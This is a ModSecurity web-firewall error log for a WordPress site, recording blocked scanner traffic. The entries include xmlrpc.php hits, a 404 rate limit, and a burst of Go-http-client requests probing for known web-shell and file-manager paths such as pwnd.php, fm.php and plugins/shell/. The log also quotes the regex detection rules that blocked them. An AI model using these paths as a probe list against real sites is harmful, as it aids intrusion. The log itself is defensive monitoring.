[Thu May 07 08:18:47.013865 2026] [:error] [pid 4539:tid 4561] [client 175.27.163.171:60630] [client 175.27.163.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afvaZ4PEZE1565sDGnyE0wAAARQ"]
[Thu May 07 11:49:29.005991 2026] [:error] [pid 1143:tid 1150] [client 175.33.90.9:54770] [client 175.33.90.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.33.90.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afwLyZb7qeI8X5VYRr5psQAAAQU"]
[Thu May 07 11:49:41.276118 2026] [:error] [pid 56150:tid 56160] [client 175.33.90.9:55306] [client 175.33.90.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.33.90.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afwL1du4duXJJeTigXQvOQAAAEg"]
[Thu May 07 11:49:53.009791 2026] [:error] [pid 1143:tid 1163] [client 175.33.90.9:55672] [client 175.33.90.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.33.90.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afwL4Zb7qeI8X5VYRr5p6gAAARI"]
[Thu May 07 11:50:04.904976 2026] [:error] [pid 1143:tid 1150] [client 175.33.90.9:56037] [client 175.33.90.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.33.90.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afwL7Jb7qeI8X5VYRr5p-gAAAQU"]
[Thu May 07 11:50:16.478667 2026] [:error] [pid 56066:tid 56124] [client 175.33.90.9:56400] [client 175.33.90.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.33.90.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afwL-EYS8DGwDvklLv6q7gAAAME"]
[Thu May 07 12:02:19.719456 2026] [:error] [pid 1143:tid 1155] [client 43.130.71.237:47574] [client 43.130.71.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afwOy5b7qeI8X5VYRr5vLAAAAQo"]
[Thu May 07 13:10:27.217580 2026] [:error] [pid 1143:tid 1147] [client 216.173.113.103:33019] [client 216.173.113.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/xagio-seo/readme.md"] [unique_id "afwew5b7qeI8X5VYRr6JLAAAAQI"]
[Thu May 07 13:10:27.918329 2026] [:error] [pid 56056:tid 56183] [client 216.173.113.103:41466] [client 216.173.113.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/xagio-seo/readme.md"] [unique_id "afwewwMt_VAuBmZ2nR9kGgAAAVE"]
[Thu May 07 13:10:28.617652 2026] [:error] [pid 56066:tid 56135] [client 216.173.113.103:41824] [client 216.173.113.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/geeky-bot/readme.txt"] [unique_id "afwexEYS8DGwDvklLv68qwAAAMw"]
[Thu May 07 13:10:29.310960 2026] [:error] [pid 1143:tid 1151] [client 216.173.113.103:42170] [client 216.173.113.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/geeky-bot/readme.txt"] [unique_id "afwexZb7qeI8X5VYRr6JMAAAAQY"]
[Thu May 07 13:10:30.009530 2026] [:error] [pid 56056:tid 56067] [client 216.173.113.103:42510] [client 216.173.113.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/geeky-bot/readme.txt"] [unique_id "afwexgMt_VAuBmZ2nR9kHAAAAUY"]
[Thu May 07 15:25:36.455525 2026] [:error] [pid 15715:tid 15725] [client 98.159.43.155:54099] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afw-cCY4dZsLOttMkcdesAAAAQg"]
[Thu May 07 15:25:36.655617 2026] [:error] [pid 15631:tid 15711] [client 98.159.43.162:56091] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "afw-cHvP1GkPUuuLfqUMswAAANg"]
[Thu May 07 15:25:36.856983 2026] [:error] [pid 15631:tid 15687] [client 98.159.43.136:48613] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "afw-cHvP1GkPUuuLfqUMtAAAAMA"]
[Thu May 07 15:25:37.053967 2026] [:error] [pid 15631:tid 15703] [client 98.159.43.130:27011] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "afw-cXvP1GkPUuuLfqUMtQAAANA"]
[Thu May 07 15:25:37.250984 2026] [:error] [pid 15630:tid 15677] [client 98.159.43.122:53629] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/users.php"] [unique_id "afw-cXTithRAi4821quPhwAAAJE"]
[Thu May 07 15:25:37.451371 2026] [:error] [pid 28098:tid 28113] [client 98.159.43.152:63109] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afw-ccvhwfljlt8trSqJjAAAAE0"]
[Thu May 07 15:25:37.652444 2026] [:error] [pid 28098:tid 28107] [client 98.159.43.119:40765] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403.php"] [unique_id "afw-ccvhwfljlt8trSqJjQAAAEc"]
[Thu May 07 15:25:37.851514 2026] [:error] [pid 15630:tid 15679] [client 98.159.43.121:20245] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afw-cXTithRAi4821quPiQAAAJM"]
[Thu May 07 15:25:38.050533 2026] [:error] [pid 15631:tid 15692] [client 98.159.43.158:38479] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "afw-cnvP1GkPUuuLfqUMvAAAAMU"]
[Thu May 07 15:25:38.249961 2026] [:error] [pid 15629:tid 15633] [client 98.159.43.154:62931] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/3PJcpMFsD8B.php"] [unique_id "afw-cvrIJCALdUrO43lXnQAAAAA"]
[Thu May 07 15:25:38.449596 2026] [:error] [pid 15630:tid 15661] [client 98.159.43.153:38121] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "afw-cnTithRAi4821quPigAAAIE"]
[Thu May 07 15:25:38.649530 2026] [:error] [pid 15630:tid 15673] [client 98.159.43.152:64523] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "afw-cnTithRAi4821quPiwAAAI0"]
[Thu May 07 15:25:38.850692 2026] [:error] [pid 15630:tid 15669] [client 98.159.43.119:29003] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "afw-cnTithRAi4821quPjAAAAIk"]
[Thu May 07 15:25:39.049106 2026] [:error] [pid 15715:tid 15736] [client 98.159.43.163:20125] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/posts"] [unique_id "afw-cyY4dZsLOttMkcdesgAAARA"]
[Thu May 07 15:25:39.248482 2026] [:error] [pid 15629:tid 15651] [client 98.159.43.152:50947] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "afw-c_rIJCALdUrO43lXnwAAABI"]
[Thu May 07 15:25:39.450566 2026] [:error] [pid 15629:tid 15636] [client 98.159.43.161:56289] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/admin.php"] [unique_id "afw-c_rIJCALdUrO43lXoAAAAAM"]
[Thu May 07 15:25:39.648950 2026] [:error] [pid 15715:tid 15719] [client 98.159.43.113:43401] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "afw-cyY4dZsLOttMkcdetAAAAQI"]
[Thu May 07 15:25:39.846809 2026] [:error] [pid 15715:tid 15722] [client 98.159.43.123:21777] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/assets/images/selam.php"] [unique_id "afw-cyY4dZsLOttMkcdetgAAAQU"]
[Thu May 07 15:25:40.043892 2026] [:error] [pid 15715:tid 15742] [client 98.159.43.122:52523] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/item.php"] [unique_id "afw-dCY4dZsLOttMkcdetwAAARY"]
[Thu May 07 15:25:40.243142 2026] [:error] [pid 15715:tid 15734] [client 98.159.43.121:60615] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hello-plus/classes/ehp-sarang.php"] [unique_id "afw-dCY4dZsLOttMkcdeuAAAAQ4"]
[Thu May 07 15:25:40.446443 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.142:51221] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afw-dCY4dZsLOttMkcdeuQAAAQk"]
[Thu May 07 15:25:40.642951 2026] [:error] [pid 28098:tid 28119] [client 98.159.43.157:63789] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "afw-dMvhwfljlt8trSqJkAAAAFM"]
[Thu May 07 15:25:40.842000 2026] [:error] [pid 15631:tid 15688] [client 98.159.43.138:46281] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/admin/"] [unique_id "afw-dHvP1GkPUuuLfqUMwQAAAME"]
[Thu May 07 15:25:41.041252 2026] [:error] [pid 15715:tid 15733] [client 98.159.43.115:27593] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "afw-dSY4dZsLOttMkcdevQAAAQ0"]
[Thu May 07 15:25:41.239508 2026] [:error] [pid 15630:tid 15681] [client 98.159.43.136:25659] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/edit-tags.php"] [unique_id "afw-dXTithRAi4821quPkAAAAJU"]
[Thu May 07 15:25:41.440741 2026] [:error] [pid 15630:tid 15676] [client 98.159.43.111:49947] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "afw-dXTithRAi4821quPkQAAAJA"]
[Thu May 07 15:25:41.639409 2026] [:error] [pid 15715:tid 15717] [client 98.159.43.106:28015] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "afw-dSY4dZsLOttMkcdewAAAAQA"]
[Thu May 07 15:25:41.847787 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.117:52527] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/.well-known/core.php"] [unique_id "afw-dcvhwfljlt8trSqJkgAAAFI"]
[Thu May 07 15:25:42.046606 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.140:22605] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-wlx.php"] [unique_id "afw-dsvhwfljlt8trSqJlAAAAEY"]
[Thu May 07 15:25:42.251997 2026] [:error] [pid 28098:tid 28116] [client 98.159.43.138:58067] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/updates.php"] [unique_id "afw-dsvhwfljlt8trSqJlQAAAFA"]
[Thu May 07 15:25:42.452366 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.133:57647] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/speculative8.php"] [unique_id "afw-dsvhwfljlt8trSqJlgAAAFU"]
[Thu May 07 15:25:42.651496 2026] [:error] [pid 15715:tid 15718] [client 98.159.43.130:53115] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "afw-diY4dZsLOttMkcdewQAAAQE"]
[Thu May 07 15:25:42.848462 2026] [:error] [pid 28098:tid 28113] [client 98.159.43.117:49379] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/PHPMailer/s"] [unique_id "afw-dsvhwfljlt8trSqJmAAAAE0"]
[Thu May 07 15:25:43.046514 2026] [:error] [pid 28098:tid 28102] [client 98.159.43.108:49111] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afw-d8vhwfljlt8trSqJmgAAAEI"]
[Thu May 07 15:25:44.940536 2026] [:error] [pid 15630:tid 15677] [client 98.159.43.107:57881] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "afw-eHTithRAi4821quPlAAAAJE"]
[Thu May 07 15:25:45.138576 2026] [:error] [pid 28098:tid 28111] [client 98.159.43.138:31575] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/shell/"] [unique_id "afw-ecvhwfljlt8trSqJogAAAEs"]
[Thu May 07 15:25:45.335600 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.152:30175] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "afw-ecvhwfljlt8trSqJowAAAEo"]
[Thu May 07 15:25:46.995744 2026] [:error] [pid 15630:tid 15670] [client 98.159.43.129:42601] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "afw-enTithRAi4821quPngAAAIo"]
[Thu May 07 15:25:47.193565 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.163:52783] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "afw-e8vhwfljlt8trSqJpwAAAEw"]
[Thu May 07 15:25:47.392554 2026] [:error] [pid 15715:tid 15733] [client 98.159.43.150:59385] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/news-portal/sitebar.php"] [unique_id "afw-eyY4dZsLOttMkcdexQAAAQ0"]
[Thu May 07 15:25:47.591306 2026] [:error] [pid 15629:tid 15640] [client 98.159.43.136:20925] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "afw-e_rIJCALdUrO43lXqAAAAAc"]
